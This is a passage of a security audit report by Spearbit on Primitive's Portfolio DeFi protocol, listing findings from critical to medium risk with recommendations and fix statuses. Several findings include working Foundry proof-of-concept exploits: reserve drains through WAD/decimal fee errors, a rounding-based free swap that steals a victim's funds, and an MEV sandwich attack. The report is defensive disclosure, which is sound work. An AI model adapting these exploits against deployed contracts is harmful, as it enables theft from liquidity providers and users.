Primitive Security Review

Auditors

Kurt Barry, Lead Security Researcher

Christoph Michel, Lead Security Researcher

M4rio.eth, Security Researcher

Sabnock, Junior Security Researcher

Report prepared by: Pablo Misirov

June 29, 2023

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Portfolio is an on-chain protocol for low cost portfolio management using automated market making strategies.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of portfolio according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 18 days in total, Primitive engaged with Spearbit to review the portfolio protocol. In this period of time a total of **38** issues were found.

Note: Issues found during the extension period are located in the **Appendix** section at the bottom of this document.

Summary

Project Name	Primitive
Repository	portfolio
Commit	b920d5...ceb2
Type of Project	Portfolio Management, DeFi
Audit Timeline	March 15 - March 31
Two week fix period	March 31 - April 14
Extension	May 8 - May 12

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	3	2	1
High Risk	5	4	1
Medium Risk	8	7	1
Low Risk	2	2	0
Gas Optimizations	4	4	0
Informational	16	14	2
Total	**38**	**33**	**5**

5 Findings

5.1 Critical Risk

5.1.1 Protocol fees are double-counted as registry balance and pool reserve

Severity: Critical Risk

Context: Portfolio.sol#L489-L507

Description: When swapping, the registry is credited a `protocolFee`. However, this fee is always reinvested in the pool, meaning the `virtualX` or `virtualY` pool reserves per liquidity increase by `protocolFee / liquidity`. The protocol fee is now double-counted as the registry's user balance and the pool reserve, while the global reserves are only increased by the protocol fee once in `_increaseReserves(_state.tokenInput, iteration.input)`. A protocol fee breaks the invariant that the global reserve should be greater than the sum of user balances and fees plus the sum of pool reserves.

As the protocol fee is reinvested, LPs can withdraw them. If users and LPs decide to withdraw all their balances, the registry can't withdraw their fees anymore. Conversely, if the registry withdraws the protocol fee, not all users can withdraw their balances anymore.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;

import "./Setup.sol";
import "forge-std/console2.sol";

contract TestSpearbit is Setup {
    function test_protocol_fee_reinvestment()
        public
        noJit
        defaultConfig
        useActor
        usePairTokens(100e18)
        allocateSome(10e18) // deltaLiquidity
        isArmed
    {
        // Set fee, 1/5 = 20%
        SimpleRegistry(subjects().registry).setFee(address(subject()), 5);

        // swap
        // make invariant go negative s.t. all fees are reinvested, not strictly necessary
        vm.warp(block.timestamp + 1 days);
        uint128 amtIn = 1e18;
        bool sellAsset = true;
        uint128 amtOut = uint128(subject().getAmountOut(ghost().poolId, sellAsset, amtIn));
        subject().multiprocess(FVMLib.encodeSwap(uint8(0), ghost().poolId, amtIn, amtOut,
        ↪  uint8(sellAsset ? 1 : 0)));

        // deallocate and earn reinvested LP fees + protocol fees, emptying _entire_ reserve including
        ↪  protocol fees
        subject().multiprocess(
            FVMLib.encodeAllocateOrDeallocate({
                shouldAllocate: false,
                useMax: uint8(1),
                poolId: ghost().poolId,
                deltaLiquidity: 0 // useMax will set this to freeLiquidity
            })
        );
        subject().draw(ghost().asset().to_addr(), type(uint256).max, actor());

        uint256 protocol_fee = ghost().balance(subjects().registry, ghost().asset().to_addr());
```

```
        assertEq(protocol_fee, amtIn / 100 / 5); // 20% of 1% of 1e18
        // the global reserve is 0 even though the protocol fee should still exist
        uint256 reserve_asset = ghost().reserve(ghost().asset().to_addr());
        assertEq(reserve_asset, 0);

        // reverts with InsufficientReserve(0, 2000000000000000)
        SimpleRegistry(subjects().registry).claimFee(
            address(subject()), ghost().asset().to_addr(), protocol_fee, address(this)
        );
    }
}
```

Recommendation: To avoid double-counting the protocol fee, it may not be reinvested in the pool if it is credited to the registry, for both `invariant >= 0` and `invariant < 0` cases. It must be removed from `deltaInput` and `deltaInputLessFee` when computing the next `virtualX` / `virtualY` candidates:

```
// pseudo-code
nextIndependent =
    liveIndependent + (deltaInput - protocolFee).divWadDown(iteration.liquidity);
// deltaInputLessFee still includes the protocolFee, only the LP fee was removed.
nextIndependentLessFee = liveIndependent
    + (deltaInputLessFee - protocolFee).divWadDown(iteration.liquidity);
```

Primitive: Fixed in PR 335.

Spearbit: The fix implements the recommendation.

5.1.2 LP fees are in WAD instead of token decimal units

Severity: Critical Risk

Context: Portfolio.sol#L485

Description: When swapping, `deltaInput` is in WAD (not token decimals) units. Therefore, `feeAmount` is also in WAD as a percentage of `deltaInput`. When calling `_feeSavingEffects(args.poolId, iteration)` to determine whether to reinvest the fees in the pool or earmark them for LPs, a `_syncFeeGrowthAccumulator` is done with the following parameter:

```
_syncFeeGrowthAccumulator(FixedPointMathLib.divWadDown(iteration.feeAmount, iteration.liquidity))
```

This is a WAD per liquidity value stored in `_state.feeGrowthGlobal` and also in `pool.feeGrowthGlobalAsset` through a subsequent `_syncPool` call. If an LP `claim`s now and their fees are synced with `syncPositionFees`, their `tokensOwed` is set to:

```
uint256 differenceAsset = AssemblyLib.computeCheckpointDistance(
        feeGrowthAsset=pool.feeGrowthGlobalAsset, self.feeGrowthAssetLast
    );
feeAssetEarned =
        FixedPointMathLib.mulWadDown(differenceAsset, self.freeLiquidity);
self.tokensOwedAsset += SafeCastLib.safeCastTo128(feeAssetEarned);
```

Then `tokensOwedAsset` is increased by a WAD value (WAD per WAD liquidity multiplied by WAD liquidity) and they have credited this WAD value with `_applyCredit(msg.sender, asset, claimedAssets)` which they can then withdraw as a token decimal value.

The result is that LP fees are credited and can be withdrawn as WAD units and tokens with fewer than 18 decimals can be stolen from the protocol.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;

import "./Setup.sol";
import "forge-std/console2.sol";

contract TestSpearbit is Setup {
    function test_fee_decimal_bug()
        public
        sixDecimalQuoteConfig
        useActor
        usePairTokens(31e18)
        allocateSome(100e18) // deltaLiquidity
        isArmed
    {
        // Understand current pool values. create pair initializes from price
        // DEFAULT_STRIKE=10e18 = 10.0 quote per asset = 1e7/1e18 = 1e-11
        uint256 reserve_asset = ghost().reserve(ghost().asset().to_addr());
        uint256 reserve_quote = ghost().reserve(ghost().quote().to_addr());
        assertEq(reserve_asset, 30.859596948332370800e18);
        assertEq(reserve_quote, 308.595965e6);

        // Do swap from quote -> asset, so we catch fee on quote
        bool sellAsset = false;
        // amtIn is in quote. gets scaled to WAD in `_swap`.
        uint128 amtIn = 100; // 0.0001$ ~ 1e14 iteration.input
        uint128 amtOut =
            uint128(subject().getAmountOut(ghost().poolId, sellAsset, amtIn));

        {
          // verify that before swap, we have no credit
          uint256 credited = ghost().balance(actor(), ghost().quote().to_addr());
          assertEq(credited, 0, "token-credit");
        }

        uint256 pre_swap_balance = ghost().quote().to_token().balanceOf(actor());
        subject().multiprocess(
            FVMLib.encodeSwap(
                uint8(0),
                ghost().poolId,
                amtIn,
                amtOut,
                uint8(sellAsset ? 1 : 0)
            )
        );
        subject().multiprocess(
            // claim it all
            FVMLib.encodeClaim(ghost().poolId, type(uint128).max, type(uint128).max)
        );

        // we got credited tokensOwed = 1% of 1e14 input = 1e12 quote tokens
        uint256 credited = ghost().balance(actor(), ghost().quote().to_addr());
        assertEq(credited, 1e12, "tokens-owed");

        // can withdraw the credited tokens, would underflow reserve, so just rug the entire reserve
        reserve_quote = ghost().reserve(ghost().quote().to_addr());
        subject().draw(ghost().quote().to_addr(), reserve_quote, actor());
        uint256 post_draw_balance = ghost().quote().to_token().balanceOf(actor());
        // -amtIn because reserve_quote already got increased by it, otherwise we'd be double-counting
        assertEq(post_draw_balance, pre_swap_balance + reserve_quote - amtIn,
        ↪  "post-draw-balance-mismatch");
```

```
    }
}
```

Recommendation: Generally, some quantities are in WAD units and some in token decimals throughout the protocol. We recommend using WAD units everywhere and only converting `from`/`to` token decimal units at the "token boundary", directly at the point of interaction with the token contract through a `transfer`/`transferFrom`/`balanceOf` call.

Primitive: Resolved in PR 320.

Spearbit: Fixed.

5.1.3 Swaps can be done for free and steal the reserve given large liquidity allocation

Severity: Critical Risk

Context: Portfolio.sol#L509

Description: A swap of `inputDelta` tokens for `outputDelta` tokens is accepted if the invariant after the swap did not decrease. The after-swap invariant is recomputed using the pool's new virtual reserves (per liquidity) `virtualX` and `virtualY`:

```
// becomes virtualX (reserveX) if swapping X -> Y
nextIndependent = liveIndependent + deltaInput.divWadDown(iteration.liquidity);
// becomes virtualY (reserveY) if swapping X -> Y
nextDependent = liveDependent - deltaOutput.divWadDown(iteration.liquidity);

// in checkInvariant
int256 nextInvariant = RMM01Lib.invariantOf({
    self: pools[poolId],
    R_x: reserveX,
    R_y: reserveY,
    timeRemainingSec: tau
});
require(nextInvariantWad >= prevInvariant);
```

When `iteration.liquidity` is sufficiently large the integer division `deltaOutput.divWadDown(iteration.liquidity)` will return `0`, resulting in an unchanged pool reserve instead of a decreased one. The invariant check will pass even without transferring any input amount `deltaInput` as the reserves are unchanged. The swapper will be credited `deltaOutput` tokens. The attacker needs to first increase the `liquidity` to a large amount (`>2**126` in the POC) such that they can steal the entire asset reserve (100e18 asset tokens in the POC):

This can be done using `multiprocess` to:

1. allocate `> 1.1e38` liquidity.
2. swap with `input = 1` (to avoid the 0-swap revert) and `output = 100e18`. The new `virtualX` asset will be computed as `liveDependent - deltaOutput.divWadDown(iteration.liquidity) = liveDependent - 100e18 * 1e18 / 1.1e38 = liveDependent - 0 = liveDependent`, leaving the virtual pool reserves unchanged and passing the invariant check. This credits `100e18` to the attacker when settled, as the global reserves (`__account__.reserve`) are decreased (but not the actual contract balance).
3. deallocate the `> 1.1e38` free liquidity again. As the virtual pool reserves `virtualX/Y` remained unchanged throughout the swap, the same allocated amount is credited again. Therefore, the allocation / deallocation doesn't require any token settlement.
4. `settlement` is called and the attacker needs to pay the swap input amount of `1` wei and is credited the global reserve decrease of `100e18` assets from the swap.

Note that this attack requires a JIT parameter of zero in order to deallocate in the same block as the allocation. However, given sufficient capital combined with an extreme strike price or future cross-block flashloans, this attack

is also possible with JIT > 0. Attackers can perform this attack in their own pool with one malicious token and one token they want to steal. The malicious token comes with functionality to disable anyone else from trading so the attacker is the only one who can interact with their custom pool. This reduces any risk of this attack while waiting for the deallocation in a future block.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;

import "./Setup.sol";
import "contracts/libraries/RMM01Lib.sol";
import "forge-std/console2.sol";

contract TestSpearbit is Setup {
    using RMM01Lib for PortfolioPool;

    // sorry, didn't know how to use the modifiers for testing 2 actors at the same time
    function test_virtual_reserve_unchanged_bug() public noJit defaultConfig {
        /////// SETUP ///////
        uint256 initialBalance = 100 * 1e18;
        address victim = address(actor());
        vm.startPrank(victim);
        // we want to steal the victim's asset
        ghost().asset().prepare(address(victim), address(subject()), initialBalance);
        subject().fund(ghost().asset().to_addr(), initialBalance);
        vm.stopPrank();

        // we need to prepare a tiny quote balance for attacker because we cannot set input = 0 for a
        ↪  swap
        address attacker = address(0x54321);
        addGhostActor(attacker);
        setGhostActor(attacker);
        vm.startPrank(attacker);
        ghost().quote().prepare(address(attacker), address(subject()), 2);
        vm.stopPrank();

        uint256 maxVirtual;
        {
            // get the virtualX/Y from pool creation
            PortfolioPool memory pool = ghost().pool();
            (uint256 x, uint256 y) = pool.getVirtualPoolReservesPerLiquidityInWad();
            console2.log("getVirtualPoolReservesPerLiquidityInWad: %s \t %y \t %s", x, y);
            maxVirtual = y;
        }

        /////// ATTACK ///////
        // attacker provides max liquidity, swaps for free, removes liquidity, is credited funds
        vm.startPrank(attacker);
        bool sellAsset = false;
        uint128 amtIn = 1;
        uint128 amtOut = uint128(initialBalance); // victim's funds

        bytes[] memory instructions = new bytes[](3);
        uint8 counter = 0;
        instructions[counter++] = FVMLib.encodeAllocateOrDeallocate({
            shouldAllocate: true,
            useMax: uint8(0),
            poolId: ghost().poolId,
            // getPoolLiquidityDeltas(int128 deltaLiquidity) does virtualY.mulDivUp(delta,
            ↪  scaleDownFactorAsset).safeCastTo128()
            // virtualY * deltaLiquidity / 1e18 <= uint128.max => deltaLiquidity <= uint128.max * 1e18
            ↪  / virtualY.
```

```
            // this will end up supplying deltaLiquidity such that the uint128 cast on deltaQuote won't
            ↪  overflow (deltaQuote ~ uint128.max)
            // deltaLiquidity = 1102679251026372457266558742546172798 07 > 2**126
            deltaLiquidity: uint128((uint256(type(uint128).max) * 1e18) / maxVirtual)
        });
        // the main issue is that the invariant doesn't change, so the checkInvariant passes
        // the reason why the invariant doesn't change is because the virtualX/Y doesn't change
        // the reason why virtualY doesn't change even though we have deltaOutput = initialBalance
        ↪  (100e18)
        // is that the previous allocate increased the liquidity so much that:
        // nextDependent = liveDependent - deltaOutput.divWadDown(iteration.liquidity) = liveDependent
        // the deltaOutput.divWadDown(iteration.liquidity) is 0 because:
        // 100e18 * 1e18 / 1102679251026372457266558742546172798 07 = 1e38 / 1.1e38 = 0
        instructions[counter++] = FVMLib.encodeSwap(uint8(0), ghost().poolId, amtIn, amtOut,
        ↪  uint8(sellAsset ? 1 : 0));
        instructions[counter++] = FVMLib.encodeAllocateOrDeallocate({
            shouldAllocate: false,
            useMax: uint8(1),
            poolId: ghost().poolId,
            deltaLiquidity: 0 // useMax makes us deallocate our entire freeLiquidity
        });
        subject().multiprocess(FVM.encodeJumpInstruction(instructions));

        uint256 attacker_asset_balance = ghost().balance(attacker, ghost().asset().to_addr());
        assertGt(attacker_asset_balance, 0);
        console2.log("attacker asset profit: %s", attacker_asset_balance);

        // attacker can withdraw victim's funds, leaving victim unable to withdraw
        subject().draw(ghost().asset().to_addr(), type(uint256).max, actor());
        uint256 attacker_balance = ghost().asset().to_token().balanceOf(actor());
        // rounding error of 1
        assertEq(attacker_balance, initialBalance - 1, "attacker-post-draw-balance-mismatch");
        vm.stopPrank();
    }
}
```

Recommendation: Note that in the `swap` step the `virtualX` and `virtualY` pool reserves are intentionally chosen to remain unchanged but the global reserves (`__account__.reserve`) decrease. The sum of the on-protocol user balances is now greater than the actual global reserves that can be withdrawn. The attacker can withdraw first and LPs will incur the loss unable to withdraw their on-protocol balance. This is a general problem with the protocol as a single issue in one pool spills over to all pools and user credit balances. The pool's actual reserves are not siloed, they are not even tracked (only indirectly through `pool.liquidity * pool.virtualX / 1e18`). This risk is further enhanced as pool creation is permissionless and allows attacker-controlled malicious tokens. Think about possible ways to silo the pool risk.

This probelm stems form the fact that the global reserves are tracked in token units while the pool reserves are tracked only indirectly as pool reserves per liquidity with `virtualX/Y`. These are completely different scales and they can drift apart in order of magnitudes over time leading to the attack. This can easily be seen when looking at `allocate`: it increases the global reserve with `increaseReserve` but doesn't touch the `virtualX/Y` pool reserves per liquidity at all. What should ideally happen in a swap is that the global reserves increase/decrease by the exact same amounts the pool reserves increase/decrease. Currently, the global reserves are changed by `_increaseReserves(_state.tokenInput, iteration.input)` and `_decreaseReserves(_state.tokenOutput, iteration.output)` but this is decoupled from the actual pool reserve changes as can be seen from the attack. (The pool reserves don't change at all because `liquidity`'s magnitude is not in any way proportional to `virtualX`, the reconstructed pool reserves `virtualX * pool.liquidity / 1e18` don't change in the swap attack.)

A proper fix would be resolve this discrepancy in global and pool reserve changes. This can be achieved by tracking the pool reserves in the same units as the global reserves, instead of tracking a reserves per liquidity value. Instead of `virtualX` reserve per liquidity, one would store `reserveX` in token decimals (or WADs). Then in

`swap` one reduces both the global reserve and pool reserve by the same amount, mitigating this kind of rounding attack and properly addressing the other concern of siloing the pools.

```
_increaseReserves(_state.tokenInput, iteration.input);
_decreaseReserves(_state.tokenOutput, iteration.output);
_syncPool(
    args.poolId,
    state.tokenInput
    iteration.input, // increases pool reserve by the same amount as global reserves now
    state.tokenOutput
    iteration.output, // decreases pool reserve by the same amount as global reserves now
    ...
);
// we can be much more confident that the swap only traded out an amount that was actually in the pool
↪  reserves
```

Now, with global and pool reserves decreasing by the same amount, we can be much more confident that the pools are properly siloed, a swap can only pay out what was actually allocated to the pool. One should also be able to prove important invariants now, like `global reserves >= sum of pool reserves + sum of user balances + sum of tokens owed`, which was violated by all critical attacks.

The only issue is that this is a non-trivial change, every time `virtualX` is used in the current code, it needs to be re-computed as `pool.reserveX * 1e18 / pool.liquidity` (or with an even higher precision than 1e18). One would also need to change the pool reserves in `allocate` / `deallocate` along the global reserve increase/decrease. The biggest change will probably be rewriting the `getLiquidityDeltas` function, especially the first liquidity provision when `liquidity == 0` and the start price. There might be other issues that come with this (the standard ERC4626 first depositor issue, etc.) but it seems like the proper way to be sure the pool reserves remain consistent with global reserves. Might be worth exploring where these changes lead and what potential new issues arise.

Spearbit: Marking as Acknowledged, as this leads to the extension period.

5.2 High Risk

5.2.1 Unsafe type-casting

Severity: High Risk

Context: See below

Description: Throughout the contract we've encountered various unsafe type-castings.

- `invariant` Within the `_swap` function, the next invariant is a `int256` variable and is calculated within the `checkInvariant` function implemented in the `RMM01Portfolio`. This variable then is dangerously typecasted to `int128` and assigned to a `int256` variable in the iteration struct (L539). The down-casting from `int256` to `int128` assumes that the `nextInvariantWad` fits in a `int128`, in case it won't fit, it will overflow. The updated `iteration` object is passed to the `_feeSavingEffects` function, which based on the `RMM` implementation can lead to bad consequences.
- `iteration.nextInvariant`
- `_getLatestInvariantAndVirtualPrice`
- `getNetBalance`

During account settlement, `getNetBalance` is called to compute the difference between the "physical reserves" (contract balance) and the internal reserves: `net = int256(physicalBalance) - int256(internalBalance)`. If the `internalBalance > int256.max`, it overflows into a negative value and the attacker is credited the entire physical balance + overflow upon settlement (and doesn't have to pay anything in settle). This might happen if an attacker allocates or swaps in very high amounts before settlement is called. Consider doing a safe typecast here as a legitimate possible revert would cause less issues than an actual overflow.

- `getNetBalance`

- Encoding / Decoding functions

The encoding and decoding functions in `FVMLib` perform many unsafe typecasts and will truncate values. This can result in a user calling functions with unexpected parameters if they use a custom encoding. Consider using safe type-casts here.

- `encodeJumpInstruction`: cannot encode more than 255 instructions, instructions will be cut off and they might perform an action that will then be settled unfavorably.
- `decodeClaim`: `fee0`/`fee1` can overflow
- `decodeCreatePool`: `price := mul(base1, exp(10, power1))` can overflow and pool is initialized wrong
- `decodeAllocateOrDeallocate`: `deltaLiquidity := mul(base, exp(10, power))` can overflow would provide less liquidity
- `decodeSwap`: `input` / `output := mul(base1, exp(10, power1))` can overflow, potentially lead to unfavorable swaps
- Other
- `PortfolioLib.getPoolReserves`: `int128(self.liquidity)`. This could be a safe typecast, the function is not used internally.
- `AssemblyLib.toAmount`: The typecast works if `power < 39`, otherwise leads to wrong results without reverting. This function is not used yet but consider performing a safe typecast here.

Recommendation: We recommend using *safe* type-casts that check if the value fits into the new type's range as the default.

For the `invariant` down-cast to `int128`, it is unclear why it is needed as all computations involving invariants are performed on `int256` anyways, the only discrepancy being in the `Swap` event. Consider removing the down-casting as all of the logic deals with `int256`.

Spearbit: Marked as Acknowledged. PR 307 fixed some unsafe typecasts in the decoding but not all. The length and subsequent shift computations can still underflow for bad/malicious encodings. Underflows in decodings shouldn't be as severe though because honest users should use the provided encoding functions. PR 321 addresses the rest.

5.2.2 Protocol fees are in WAD instead of token decimal units

Severity: High Risk

Context: Portfolio.sol#L489

Description: When swapping, `deltaInput` is in WAD (not token decimals) units. Therefore, the `protocolFee` will also be in WAD as a percentage of `deltaInput`. This WAD amount is then credited to the `REGISTRY`:

```
iteration.feeAmount = (deltaInput * _state.fee) / PERCENTAGE;
if (_protocolFee != 0) {
    uint256 protocolFeeAmount = iteration.feeAmount / _protocolFee;
    iteration.feeAmount -= protocolFeeAmount;
    _applyCredit(REGISTRY, _state.tokenInput, protocolFeeAmount);
}
```

The privileged registry can claim these fees using a withdrawal (`draw`) and the WAD units are not scaled back to token decimal units, resulting in withdrawing more fees than they should have received if the token has less than 18 decimals. This will reduce the global reserve by the increased fee amount and break the accounting and functionality of all pools using the token.

Recommendation: Generally, some quantities are in WAD units and some in token decimals throughout the protocol. We recommend using WAD units everywhere and only converting from/to token decimal units at the "token boundary", directly at the point of interaction with the token contract through a `transfer`/`transferFrom`/`balanceOf` call.

Primitive: Resolved in PR 335.

Spearbit: Fixed.

5.2.3 `Invariant.getX` computation is wrong

Severity: High Risk

Context: solstat/Invariant.sol#L114-L140, RMM01Lib.sol#L70

Description: The protocol makes use of a `solstat` library to compute the off-chain swap amounts. The `solstat`'s `Invariant.getX` function documentation states:

> Computes `x` in `x = 1 - Φ(Φ¹( (y + k) / K ) + στ)`.

However, the `y + k` term should be `y - k`. The off-chain swap amounts computed via `getAmountOut` return wrong values. Using these values for an actual swap transaction will either (wrongly) revert the swap or overstate the output amounts.

Derivation:

$y = K\Phi\left(\Phi^{-1}(1-x) - \sigma\sqrt{\tau}\right) + k$

$\Phi^{-1}(y-k)/K = \Phi^{-1}(1-x) - \sigma\sqrt{\tau}$

$\Phi\left(\Phi^{-1}(y-k)/K + \sigma\sqrt{\tau}\right) = 1 - x$

$x = 1 - \Phi\left(\Phi^{-1}(y-k)/K + \sigma\sqrt{\tau}\right)$

Recommendation: Change the comment and the computation to use `y - k`:

```
   /**
    * @notice Uses reserves `R_y` to compute reserves `R_x`.
-   * @dev Computes `x` in `x = 1 - Φ(Φ¹( (y + k) / K ) + στ)`.
+   * @dev Computes `x` in `x = 1 - Φ(Φ¹( (y - k) / K ) + στ)`.
    * Not used in invariant function. Used for computing swap outputs.
    * Simplifies to `1 - ( (y + k) / K )` when time to expiry is zero.
    * Reverts if `R_y` is greater than one. Units are WAD.
    *
    * Dangerous! There are important bounds to using this function.
    *
    * ...
    */
 function getX(uint256 R_y, uint256 stk, uint256 vol, uint256 tau, int256 inv) internal pure returns
 ↪  (uint256 R_x) {
    // Short circuits because tau != 0 is more likely.
    if (tau != 0) {
        uint256 sec = tau.divWadDown(uint256(YEAR));

        uint256 sdr = sec.sqrt();
        sdr = sdr * uint256(HALF_SCALAR);
        sdr = vol.mulWadDown(sdr);

-       int256 phi = diviWad(int256(R_y) + inv, int256(stk));
+       int256 phi = diviWad(int256(R_y) - inv, int256(stk));

    ...
 }
```

Consider adding more differential fuzz tests for the following scenarios:

- `invariant < 0`
- `invariant > 0`

Primitive: Resolved in PR 32.

Spearbit: Fixed.

5.2.4 Liquidity can be (de-)allocated at a bad price

Severity: High Risk

Context: Portfolio.sol#L295-L296

Description: To allocate liquidity to a pool, a single `uint128 liquidityDelta` parameter is specified. The required `deltaAsset` and `deltaQuote` token amounts are computed from the current `virtualX` and `virtualY` token reserves per liquidity (prices). An MEV searcher can sandwich the allocation transaction with swaps that move the price in an unfavorable way, such that, the allocation happens at a time when the `virtualX` and `virtualY` variables are heavily skewed. The MEV searcher makes a profit and the liquidity provider will automatically be forced to use undesired token amounts.

In the provided test case, the MEV searcher makes a profit of `2.12e18 X` and the LP uses `9.08e18 X / 1.08 Y` instead of the expected `3.08 X / 30.85 Y`. LPs will incur a loss, especially if the *asset* (`X`) is currently far more valuable than the quote (`Y`).

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;

import "./Setup.sol";
import "contracts/libraries/RMM01Lib.sol";
import "forge-std/console2.sol";

contract TestSpearbit is Setup {
    using RMM01Lib for PortfolioPool;

    // sorry, didn't know how to use the modifiers for testing 2 actors at the same time
    function test_allocate_sandwich() public defaultConfig {
        uint256 initialBalance = 100e18;
        address victim = address(actor());
        address mev = address(0x54321);
        ghost().asset().prepare(address(victim), address(subject()), initialBalance);
        ghost().quote().prepare(address(victim), address(subject()), initialBalance);
        addGhostActor(mev);
        setGhostActor(mev);

        vm.startPrank(mev); // need to prank here for approvals in `prepare` to work
        ghost().asset().prepare(address(mev), address(subject()), initialBalance);
        ghost().quote().prepare(address(mev), address(subject()), initialBalance);
        vm.stopPrank();

        vm.startPrank(victim);
        subject().fund(ghost().asset().to_addr(), initialBalance);
        subject().fund(ghost().quote().to_addr(), initialBalance);
        vm.stopPrank();

        vm.startPrank(mev);
        subject().fund(ghost().asset().to_addr(), initialBalance);
        subject().fund(ghost().quote().to_addr(), initialBalance);
        vm.stopPrank();

        // 0. some user provides initial liquidity, so MEV can actually swap in the pool
        vm.startPrank(victim);
        subject().multiprocess(
            FVMLib.encodeAllocateOrDeallocate({
                shouldAllocate: true,
                useMax: uint8(0),
```

```
                poolId: ghost().poolId,
                deltaLiquidity: 10e18
            })
        );
        vm.stopPrank();

        // 1. MEV swaps, changing the virtualX/Y LP price (skewing the reserves)
        vm.startPrank(mev);
        uint128 amtIn = 6e18;
        bool sellAsset = true;
        uint128 amtOut = uint128(subject().getAmountOut(ghost().poolId, sellAsset, amtIn));
        subject().multiprocess(FVMLib.encodeSwap(uint8(0), ghost().poolId, amtIn, amtOut,
        ↪  uint8(sellAsset ? 1 : 0)));
        vm.stopPrank();

        // 2. victim allocates
        {
            uint256 victim_asset_balance = ghost().balance(victim, ghost().asset().to_addr());
            uint256 victim_quote_balance = ghost().balance(victim, ghost().quote().to_addr());
            vm.startPrank(victim);
            subject().multiprocess(
                FVMLib.encodeAllocateOrDeallocate({
                    shouldAllocate: true,
                    useMax: uint8(0),
                    poolId: ghost().poolId,
                    deltaLiquidity: 10e18
                })
            );
            vm.stopPrank();

            PortfolioPool memory pool = ghost().pool();
            (uint256 x, uint256 y) = pool.getVirtualPoolReservesPerLiquidityInWad();
            console2.log("getVirtualPoolReservesPerLiquidityInWad: %s \t %y \t %s", x, y);
            victim_asset_balance -= ghost().balance(victim, ghost().asset().to_addr());
            victim_quote_balance -= ghost().balance(victim, ghost().quote().to_addr());
            console2.log(
                "victim used asset/quote for allocate: %s \t %y \t %s",
                victim_asset_balance,
                victim_quote_balance
            ); // w/o sandwich: 3e18 / 30e18
        }

        // 3. MEV swaps back, ending up with more tokens than their initial balance
        vm.startPrank(mev);
        sellAsset = !sellAsset;
        amtIn = amtOut;
        // @audit-issue this only works after patching Invariant.getX to use y - k. still need to
        ↪  reduce the amtOut a tiny bit because of rounding errors
        amtOut = uint128(subject().getAmountOut(ghost().poolId, sellAsset, amtIn)) * (1e4 - 1) / 1e4;
        subject().multiprocess(FVMLib.encodeSwap(uint8(0), ghost().poolId, amtIn, amtOut,
        ↪  uint8(sellAsset ? 1 : 0)));
        vm.stopPrank();

        uint256 mev_asset_balance = ghost().balance(mev, ghost().asset().to_addr());
        uint256 mev_quote_balance = ghost().balance(mev, ghost().quote().to_addr());
        assertGt(mev_asset_balance, initialBalance);
        assertGe(mev_quote_balance, initialBalance);
        console2.log(
            "MEV asset/quote profit: %s \t %s", mev_asset_balance - initialBalance, mev_quote_balance -
            ↪  initialBalance
        );
    }
```

```
}
```

Recommendation: Consider adding `maxDeltaAsset` and `maxDeltaQuote` parameters to `allocate`. If any of these parameters is exceeded, revert the allocation. The same issue can happen with *de*-allocate, consider adding `minDeltaAsset` and `minDeltaQuote` amounts for it. If any of these parameters fall short, revert the deallocation.

Primitive: Resolved by implementing `minAmount` / `maxAmount` in PR 307.

Spearbit: Fixed.

5.3 Medium Risk

5.3.1 Missing `signextend` when dealing with non-full word signed integers

Severity: Medium Risk

Context: AssemblyLib.sol#L83

Description: The `AssemblyLib` is using non-full word signed integers operations. If the signed data in the stack have not been `signextend` the two's complement arithmetic will not work properly, most probably reverting.

The solidity compiler does this cleanup but this cleanup is not guaranteed to be done while using the inline assembly.

Recommendation: Consider to `signextend` the data before the data is used, e.g. `delta := signextend(15, delta)` or just use solidity instead of in-line assembly.

Primitive: The team decided to remove the Assembly code and simply use Solidity. A lot of different cases were possible and covering all of them in Assembly was eventually costing more in the end.

Addressed in PR 319.

Spearbit: Fixed.

5.3.2 Tokens With Multiple Addresses Can Be Stolen Due to Reliance on `balanceOf`

Severity: Medium Risk

Context: AccountLib.sol#L230

Description: Some ERC20 tokens have multiple valid contract addresses that serve as entrypoints for manipulating the same underlying storage (such as Synthetix tokens like SNX and sBTC and the TUSD stablecoin). Because the FVM holds all tokens for all pools in the same contract, assumes that a contract address is a unique identifier for a token, and relies on the return value of `balanceOf` for manipulated tokens to determine what transfers are needed during transaction settlement, multiple entrypoint tokens are not safe to be used in pools.

For example, suppose there is a pool with non-zero liquidity where one token has a second valid address. An attacker can atomically create a second pool using the alternate address, allocate liquidity, and then immediately deallocate it. During execution of the `_settlement` function, `getNetBalance` will return a positive net balance for the double entrypoint token, crediting the attacker and transferring them the entire balance of the double entrypoint token. This attack only costs gas, as the allocation and deallocation of non-double entrypoint tokens will cancel out.

Recommendation: At a minimum, anyone interacting with contracts derived from `PortfolioVirtual` should be explicitly warned not to create pools containing tokens with multiple valid addresses. An explicit blacklist could be added to prevent any address other than an "official" one from being used to create pairs and pools for such tokens (potentially fixed at deployment time, as double entrypoint tokens are rare and now widely known to be dangerous). Architecturally, tokens could be stored in dedicated, special-purpose contracts for each token address, although this would increase gas costs and complexity.

Spearbit: Marked as Acknowledged.

5.3.3 Swap amounts are always estimated with priority fee

Severity: Medium Risk

Context: RMM01Lib.sol#L70, Portfolio.sol#L416

